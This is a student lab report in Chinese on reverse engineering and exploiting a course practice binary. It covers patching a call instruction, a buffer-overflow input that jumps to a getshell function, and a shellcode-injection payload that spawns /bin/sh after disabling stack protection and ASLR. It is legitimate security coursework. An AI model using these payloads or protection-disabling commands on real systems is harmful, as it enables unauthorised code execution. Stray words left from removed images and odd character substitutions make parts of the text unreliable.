2018-2019-2 网络对抗技术 20165227 Exp1 PC平台逆向破解

2018-2019-2 网络对抗技术 20165227 Exp1 PC平台逆向破解

实验内容及步骤

实验一:直接修改程序机器指令,改变程序执行流程

  • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
  • 首先将pwn1目标文件进行备份 cp pwn1 pwn5227
  • 对pwn5227文件进行反汇编 objdump -d pwn5227 | more
  • 并找到main函数中调用foo函数的机器码
    shell

  • 使用 vi pwn5227 进行编辑
    编程

  • 在vi里面进行如下步骤
  • 使用 :%!xxd 显示模式切换为16进制模式
  • 使用 /e8d7 查找要修改的内容
  • 使用 r 将d7修改为c3,保存并退出
  • 将16进制转换回原格式 :%!xxd -r,退出sass

  • 再次反汇编pwn5227,发现函数调用已更改
    安全

  • 结果验证
    网络

实验二:经过构造输入参数,形成BOF攻击,改变程序执行流

  • 知识要求:堆栈结构,返回地址 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取 进阶:掌握ELF文件格式,掌握动态技术
  • 将pwn1再次备份,获得pwn2
  • 对pwn2进行GDB调试,运行并输入进行尝试 1111111122222222333333334444444412345678
    dom

  • 从结果中获得ASCII码值 0x34333231 也就是1234
  • 咱们须要作的就是将其替换成getshell的返回地址 0x0804847d
  • 生成包含字符串的文件 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
    函数

  • 使用命令 (cat input;cat) | ./pwn2 ,将input的内容做为./pwn2的输入,并验证结果
    工具

实验三:Shellcode注入攻击

  • 准备工做
apt-get install execstack安装execstack
# execstack -s pwn1    //设置堆栈可执行
# execstack -q pwn1  //查询文件的堆栈是否可执行
# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
# more /proc/sys/kernel/randomize_va_space  //查看地址随机化是否已经关闭

  • 注入攻击
    学习

  • 再从新打开另外一个终端 ctrl+shift+t
  • 首先须要找到进程号
    spa

  • 可知进程号为 101286
  • 使用gdb调试进程
gdb
attach 101286
disassemble foo
break *0x080484ae
(运行另外一个终端中的pwn1按下回车后)
c
info r esp
x/16x 0xffffd2ac

  • 获得的地址+4,获得shellcode的地址是 0xffffd2b0
  • 输入指令
perl -e 'print "A" x 32;print "\xb0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x20\xd3\xff\xff\x00"' > input_shellcode
  • 最后验证结果

遇到的问题

  • 在安装execstack的时候出现了```没法定位软件包的缘由,经过查阅资料得知,应该更新源

以后就能顺利安装了

实验感想

  • 此次的实验是网络对抗的第一次实验,也是第一次清晰地感觉了一次以前学过的缓冲区溢出攻击实现的实验,经过实验,对老师上课讲的知识点有了更深的理解,同时也对操做熟练程度有了加深,但愿以后也能学到更多。

思考题

  • 漏洞
  • 漏洞是软件编程中的纰漏,是会致使程序运行失败、系统关机、从新启动,或者执行攻击者的指令。
  • 危害:会对系统的安全性形成影响,而且容易形成重要资料的丢失或窃取等严重后果
相关文章
相关标签/搜索